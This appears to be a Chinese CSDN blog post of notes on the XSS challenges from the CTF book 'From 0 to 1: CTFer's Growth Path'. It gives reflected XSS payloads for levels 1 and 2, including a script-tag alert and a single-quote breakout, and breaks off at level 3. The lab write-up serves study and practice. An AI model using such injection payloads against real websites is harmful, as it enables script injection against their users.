《从0到1:CTFer成长之路》书籍配套题目-[第二章 web进阶]XSS闯关

本文是《从0到1:CTFer成长之路》书籍的配套练习,介绍了从第一关到第六关的XSS闯关挑战。每一关都详细解析了如何利用payload突破限制,包括对单引号的处理、重定向的利用、条件限制的解决以及AngularJS模板注入的逃逸方法。
摘要由CSDN通过智能技术生成

[第二章 web进阶]XSS闯关


介绍:记录一下笔记,方便以后迅速回忆使用。

《从0到1:CTFer成长之路》书籍配套题目,来源网站:《从0到1:CTFer成长之路》

在这里插入图片描述

  • 小技巧:
    如果想跳到直接坐后面的关卡,换数字就可以了,
    比如,
http://3b900675-201c-4b11-bc65-6d943150ccdd.node3.buuoj.cn/level1
换成
http://3b900675-201c-4b11-bc65-6d943150ccdd.node3.buuoj.cn/level6
就可以跳过前面的关卡直接开始做第6关,

第1关

  • 1.首页
    在这里插入图片描述

  • 这题比较简单就直接破解

  • payload

../level1?username=<script>alert("Hello xss!")</script>

在这里插入图片描述

第2关

  • 题目源码,输入的东西被单引号括住了
<script type="text/javascript">
    	if(location.search == ""){
   
    		location.search = "?username=xss"
    	}
    	var username = '<scr<script>ipt>alert("Hello xss!")</scr<script>ipt>';
    	document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
    </script>

-我们希望变成这个样子

var username = '';alert("Hello%20xss!")//';
  • payload:
../level2?username=%27;alert("Hello%20xss!");//
  • 进入下一关

第3关

  • 输入上一关的payload

  • 题目源码,这次过滤了单引号

评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值